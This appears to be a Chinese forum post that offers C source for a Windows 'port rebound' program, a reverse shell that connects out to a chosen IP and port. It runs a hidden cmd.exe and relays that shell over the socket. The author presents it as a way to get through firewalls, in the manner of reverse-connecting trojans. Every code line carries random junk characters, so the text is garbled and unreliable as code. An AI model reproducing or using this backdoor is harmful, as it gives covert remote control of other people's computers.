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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cL!A,+S[_  
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/* ============================== i`Qa7  
Rebound port in Windows NT ?S9vYaA$  
By wind,2006/7 6nJQPa  
===============================*/ (`_fP.Ogb  
#include *>`6{0, 9  
#include @h_ bXo  
0rQ r#0`  
#pragma comment(lib,"wsock32.lib") "'GhE+>Z  
uL@%M8n  
void OutputShell(); `8tstWYa]Y  
SOCKET sClient; '/OQ[f=K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <`G-_VI  
xG(iSuz  
void main(int argc,char **argv) S{v]B_N[M  
{ X$@qs9?)^  
WSADATA stWsaData; !! )W`  
int nRet; FzP1b_i  
SOCKADDR_IN stSaiClient,stSaiServer; Ml;` *;  
C@\5%~tW+  
if(argc != 3) %rgW}Z5  
{ BX6kn/i  
printf("Useage:\n\rRebound DestIP DestPort\n"); D%LYQ  
return; 8h4]<T  
} {~j/sto-:  
!*HJBZ]q  
WSAStartup(MAKEWORD(2,2),&stWsaData); AaoS & q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l(-"rE  
\x\N?$`ANc  
stSaiClient.sin_family = AF_INET; 3:8p="$F  
stSaiClient.sin_port = htons(0); Ziub%C[oV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Lfdg5D5.P  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %W2U$I5  
{ Q$ Dx:  
printf("Bind Socket Failed!\n"); lKQevoy'  
return; diVg|Z3T  
} w)RedJnf  
,!GoFu  
stSaiServer.sin_family = AF_INET; #$W0%7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >3ZhPvE-p'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Iz'Et'w8!  
,6pGKCUU:y  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a j$& 9][  
{ >SL mlK  
printf("Connect Error!"); vfvp#  
return; nf<I  
} )8eb(!}7  
OutputShell(); q# Q%p+  
} K/*"U*9Kv  
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void OutputShell() ,b IJW]h0  
{ `?WN*__["  
char szBuff[1024]; S:`Gi>D  
SECURITY_ATTRIBUTES stSecurityAttributes; d!}oS<6  
OSVERSIONINFO stOsversionInfo; XEagN:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x- ue1  
STARTUPINFO stStartupInfo; jpS$5Ct  
char *szShell; :8@eon}  
PROCESS_INFORMATION stProcessInformation; frDMFEXXP  
unsigned long lBytesRead; <y~Ba@1u  
~m,~;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h(~/JW[  
$w <R".4  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QRrAyRf[  
stSecurityAttributes.lpSecurityDescriptor = 0; %8%|6^,  
stSecurityAttributes.bInheritHandle = TRUE; %#~wFW|]x  
r\F2X J^  
4b;*:C4?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]h' 38W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .-mIU.Nwi  
3N+B|WrM  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j[FB*L1!D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b]Kb ~y|  
stStartupInfo.wShowWindow = SW_HIDE;  U#K4)(C  
stStartupInfo.hStdInput = hReadPipe; ~o|sma5.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1cMLl6Bp>  
=EM<LjO  
GetVersionEx(&stOsversionInfo); 5@ td0  
:t9![y[=|  
switch(stOsversionInfo.dwPlatformId) 5}Ge  
{ ^ <`SUBI  
case 1: vV$^`WY4  
szShell = "command.com"; OHj>ufwVq  
break; ZI qXkD  
default: +r//8&  
szShell = "cmd.exe"; <Opw"yY&q]  
break; (|o @  
} rw3tU0j  
pc@mQI  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y7CO%SA  
vE8'B^h1  
send(sClient,szMsg,77,0); &a e!lB  
while(1) UF6U5],`u  
{ ~*y7%L4B  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pY3/AO=  
if(lBytesRead) L;?F^RK{U  
{ cJ@fJ|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RU'a 8j+W  
send(sClient,szBuff,lBytesRead,0); S{8-XiL,  
} #3LZX!  
else +l/kH9m  
{ LVm']_K(f  
lBytesRead=recv(sClient,szBuff,1024,0); 9xq3>(  
if(lBytesRead<=0) break; ZsXw]Wa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ("j;VqYUL  
} u,`3_I^  
} GHn0(o&K  
{ pQJ.QI  
return; Qt{V&Z7  
}
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